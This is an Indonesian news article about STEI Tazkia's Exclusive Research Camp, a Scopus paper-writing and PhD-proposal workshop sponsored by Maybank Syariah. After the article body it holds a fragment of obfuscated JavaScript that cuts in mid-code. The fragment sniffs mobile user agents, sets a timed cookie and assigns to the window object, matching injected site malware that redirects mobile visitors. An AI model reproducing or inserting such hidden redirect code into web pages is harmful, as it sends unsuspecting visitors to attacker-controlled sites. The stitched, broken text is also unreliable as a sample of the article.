Hadir sebagai narasumber utama Ketua STEI Tazkia, Ibu Murniati Mukhlisin yang juga merupakan dosen senior prodi Akuntansi Islam. Narasumber utama memberikan bimbingan penulisan paper sampai dengan proses submit ke Jurnal Internasional Terindex Scopus. Selain itu, peserta juga mendapat bimbingan academic writing antara lain pengajuan proposal PhD dan naskah ilmiah yang efektif untuk conference internasional.
Narasumber lain yang hadir adalah alumni dari berbagai kampus yang berbagi tentang kehidupan selama menjadi mahasiswa di Australia, UK, dan Jepang.

Peserta mengikuti 18 jam sesi materi dengan antusias. Peserta luar berjumlah 18 orang terdiri dari dosen dari Universitas Muhammadiyah Magelang, UGM Yogyakarta, Universitas Trisakti Jakarta, STEI SEBI, Universitas Indonesia, UPN Veteran Jakarta, Universitas Pamulang dan Praktisi Perbankan dari Maybank Syariah Indonesia.

Dosen internal yang terlibat 6 orang merupakan perwakilan Prodi Ekonomi Syariah, Akuntansi Syariah , dan Bisnis Manajemen Syariah STEI Tazkia. Acara ini mendapat dukungan penuh dari Maybank Syariah Indonesia sebagai sponsor utama dan bekerjasama dengan Lembaga Penelitian dan Pengembangan Masyarakat (LPPM) STEI Tazkia. Program serupa akan digelar di bulan Oktobesr 2018 ujar Ade Juraynaldi sebagai Ketua Panitia Pelaksana.

)|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaLPPM STEI Tazkia berkolaburasi dengan Maybank Syariah mengadakan Exclusive Research Camp 2
read more